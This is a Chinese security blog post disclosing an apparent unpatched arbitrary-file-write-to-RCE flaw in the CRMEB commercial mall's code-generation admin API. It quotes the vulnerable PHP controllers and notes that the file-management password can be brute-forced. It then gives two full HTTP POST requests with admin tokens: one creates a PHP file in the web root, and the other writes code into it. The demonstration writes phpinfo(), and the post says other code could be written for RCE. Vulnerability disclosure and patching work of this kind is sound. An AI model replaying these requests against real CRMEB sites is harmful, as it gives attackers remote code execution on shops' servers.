众邦科技CRMEB商城商业版任意文件写入getshell 0day

发布于:2024-03-29 ⋅ 阅读:(21) ⋅ 点赞:(0)

代码审计

接口:/adminapi/system/crud 处理的代码如下

public function save(SystemCrudDataService $service, $id = 0)
    {
        $data = $this->request->postMore([
            ['pid', 0],//上级菜单id
            ['menuName', ''],//菜单名
            ['tableName', ''],//表名
            ['modelName', ''],//模块名称
            ['tableComment', ''],//表备注
            ['tableField', []],//表字段
            ['tableIndex', []],//索引
            ['filePath', []],//生成文件位置
            ['isTable', 0],//是否生成表
            ['deleteField', []],//删除的表字段
        ]);

        $fromField = $searchField = $hasOneField = $columnField = $tableIndex = [];

        $dictionaryids = array_column($data['tableField'], 'dictionary_id');
        if ($dictionaryids) {
            $dictionaryList = $service->getColumn([['id', 'in', $dictionaryids]], 'value', 'id');
            foreach ($dictionaryList as &$value) {
                $value = is_string($value) ? json_decode($value, true) : $value;
            }
        } else {
            $dictionaryList = [];
        }

        foreach ($data['tableField'] as $item) {
            //判断字段长度
            if (in_array($item['field_type'], [FormTypeEnum::DATE_TIME, 'timestamp', 'time', 'date', 'year']) && $item['limit'] > 6) {
                return app('json')->fail('字段' . $item['field'] . '长度不能大于6');
            }
            if ($item['field_type'] == 'enum' && !is_array($item['limit'])) {
                return app('json')->fail('数据类型为枚举时,长度为数组类型');
            }
            //收集列表展示数据
            if ($item['is_table'] && !in_array($item['field_type'], ['primaryKey', 'addSoftDelete'])) {
                if (isset($item['primaryKey']) && !$item['primaryKey']) {
                    $columnField[] = [
                        'field' => $item['field'],
                        'name' => $item['table_name'] ?: $item['comment'],
                        'type' => $item['from_type'],
                    ];
                }
            }
            $name = $item['table_name'] ?: $item['comment'];
            $option = $item['options'] ?? (isset($item['dictionary_id']) ? ($dictionaryList[$item['dictionary_id']] ?? []) : []);
            //收集表单展示数据
            if ($item['from_type']) {
                if (!$name) {
                    return app('json')->fail(500048, [], ['field' => $item['field']]);
                }
                if (!$option && in_array($item['from_type'], [FormTypeEnum::RADIO, FormTypeEnum::SELECT])) {
                    return app('json')->fail('表单类型为radio或select时,options字段不能为空');
                }
                $fromField[] = [
                    'field' => $item['field'],
                    'type' => $item['from_type'],
                    'name' => $name,
                    'required' => $item['required'],
                    'option' => $option
                ];
            }

            //搜索
            if (!empty($item['search'])) {
                $searchField[] = [
                    'field' => $item['field'],
                    'type' => $item['from_type'],
                    'name' => $name,
                    'search' => $item['search'],
                    'options' => $option
                ];
            }

            //关联
            if (!empty($item['hasOne'])) {
                $hasOneField[] = [
                    'field' => $item['field'],
                    'hasOne' => $item['hasOne'] ?? '',
                    'name' => $name,
                ];
            }

            //索引
            if (!empty($item['index'])) {
                $tableIndex[] = $item['field'];
            }
        }
        if (!$fromField) {
            return app('json')->fail(500046);
        }
        if (!$columnField) {
            return app('json')->fail(500047);
        }
        $data['fromField'] = $fromField;
        $data['tableIndex'] = $tableIndex;
        $data['columnField'] = $columnField;
        $data['searchField'] = $searchField;
        $data['hasOneField'] = $hasOneField;
        if (!$data['tableName']) {
            return app('json')->fail(500042);
        }

        $this->services->createCrud($id, $data);

        return app('json')->success(500043);
    }

没有对传入参数的路径做任何过滤以及后缀的检查,导致可以在任意路径创建任意后缀的文件,因此可以再网站根目录创建一个php文件 但是内容会有默认的代码 再配合以下接口进行内容 修改(任意内容写入)

写入文件的接口 /adminapi/system/crud/save_file/:id 处理的代码如下

public function savefile(Request $request, SystemFileServices $service, $id)
    {
        $comment = $request->param('comment');
        $filepath = $request->param('filepath');
        $pwd = $request->param('pwd');

        if ($pwd == '') {
            return app('json')->fail('请输入文件管理密码');
        }
        if (config('filesystem.password') != $pwd) {
            return app('json')->fail('文件管理密码错误');
        }

        if (empty($filepath) || !$id) {
            return app('json')->fail(410087);
        }
        $crudInfo = $this->services->get($id, ['make_path']);
        if (!$crudInfo) {
            return app('json')->fail('修改的CRUD文件不存在');
        }

        $makeFilepath = '';
        foreach ($crudInfo->make_path as $key => $item) {
            $path = $item;
            if (in_array($key, ['pages', 'router', 'api'])) {
                $item = Make::adminTemplatePath() . $item;
            } else {
                $item = app()->getRootPath() . $item;
            }
            if ($filepath == $path) {
                $makeFilepath = $item;
                break;
            }
        }
        if (!$makeFilepath || !in_array($filepath, $crudInfo->make_path)) {
            return app('json')->fail('您没有权限修改此文件');
        }
        $res = $service->savefile($makeFilepath, $comment);
        if ($res) {
            return app('json')->success(100000);
        } else {
            return app('json')->fail(100006);
        }
    }

可以看到也没有任何过滤导致可以向任意路径的文件写入任意内容 前提是知道密码config('filesystem.password') 由于没有限制密码输入 次数导致可以爆破

两个接口配合即可写入任意代码导致

RCE

漏洞复现

首先调用如下接口 在controller处填写路径为public\\Aa.php 之后便会在程序根目录创建Aa.php

POST /adminapi/system/crud HTTP/1.1
Host: 192.168.242.142:89
Content-Length: 919
Accept: application/json, text/plain, */*
Authori-zation: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIwZmQ0Yjc1ZTA2Nzc5MjMwOTdlZThlNmQzYTdkZTQwMSIsImlzcyI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImF1ZCI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImlhdCI6MTcwNjc5NTcwNywibmJmIjoxNzA2Nzk1NzA3LCJleHAiOjE3MDkzODc3MDcsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.UXGhi5sYhA4tNyLX1CWza_qjJKkR8jMaKZ7CwdeBpUY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.242.142:89
Referer: http://192.168.242.142:89/admin/system/code_generation
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=3c31ae0511c0770e81da16eb38aa551a; WS_ADMIN_URL=ws://192.168.242.142:89/notice; WS_CHAT_URL=ws://192.168.242.142:89/msg; uuid=1; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIwZmQ0Yjc1ZTA2Nzc5MjMwOTdlZThlNmQzYTdkZTQwMSIsImlzcyI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImF1ZCI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImlhdCI6MTcwNjc5NTcwNywibmJmIjoxNzA2Nzk1NzA3LCJleHAiOjE3MDkzODc3MDcsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.UXGhi5sYhA4tNyLX1CWza_qjJKkR8jMaKZ7CwdeBpUY; expires_time=1709387707
Connection: close

{"pid":7,"tableName":"aa","modelName":"aa","isTable":1,"menuName":"aa","filePath":{"controller":"public\\Aa.php","model":"app\\model\\crud\\Aa.php","dao":"app\\dao\\crud\\AaDao.php","route":"app\\adminapi\\route\\crud\\aa.php","service":"app\\services\\crud\\AaServices.php","validate":"app\\adminapi\\validate\\crud\\AaValidate.php","router":"router\\modules\\crud\\aa.js","api":"api\\crud\\aa.js","pages":"pages\\crud\\aa\\index.vue"},"tableField":[{"field":"id","field_type":"int","default":"","comment":"自增ID","required":false,"is_table":true,"table_name":"ID","limit":"15","primaryKey":1,"from_type":""},{"field":"aa","field_type":"varchar","default":"aa","default_type":"1","comment":"aa","required":true,"is_table":true,"table_name":"aa","limit":200,"primaryKey":0,"from_type":"dateTime","search":"=","dictionary_id":0,"hasOne":["agent_level","name"],"index":true}],"deleteField":[]}

查看目录创建成功 并且会自动填充一些代码

再点击查看代码

在文件管理密码已知的情况下这里为123456(可以爆破) 调用以下数据包

POST /adminapi/system/crud/save_file/5 HTTP/1.1
Host: 192.168.242.142:89
Content-Length: 78
Accept: application/json, text/plain, */*
Authori-zation: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIwZmQ0Yjc1ZTA2Nzc5MjMwOTdlZThlNmQzYTdkZTQwMSIsImlzcyI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImF1ZCI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImlhdCI6MTcwNjc5NTcwNywibmJmIjoxNzA2Nzk1NzA3LCJleHAiOjE3MDkzODc3MDcsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.UXGhi5sYhA4tNyLX1CWza_qjJKkR8jMaKZ7CwdeBpUY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.242.142:89
Referer: http://192.168.242.142:89/admin/system/code_generation_list
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=3c31ae0511c0770e81da16eb38aa551a; WS_ADMIN_URL=ws://192.168.242.142:89/notice; WS_CHAT_URL=ws://192.168.242.142:89/msg; uuid=1; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIwZmQ0Yjc1ZTA2Nzc5MjMwOTdlZThlNmQzYTdkZTQwMSIsImlzcyI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImF1ZCI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImlhdCI6MTcwNjc5NTcwNywibmJmIjoxNzA2Nzk1NzA3LCJleHAiOjE3MDkzODc3MDcsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.UXGhi5sYhA4tNyLX1CWza_qjJKkR8jMaKZ7CwdeBpUY; expires_time=1709387707
Connection: close

{"filepath":"public\\Aa.php","comment":"<?php\nphpinfo();\n?>","pwd":"123456"}

成功写入内容

尝试访问 http://192.168.242.142:89/Aa.php

这只是写入的phpinfo 进行无危害验证 可以写入其他内容进行RCE 而且是在根目录

本文含有隐藏内容,请 开通VIP 后查看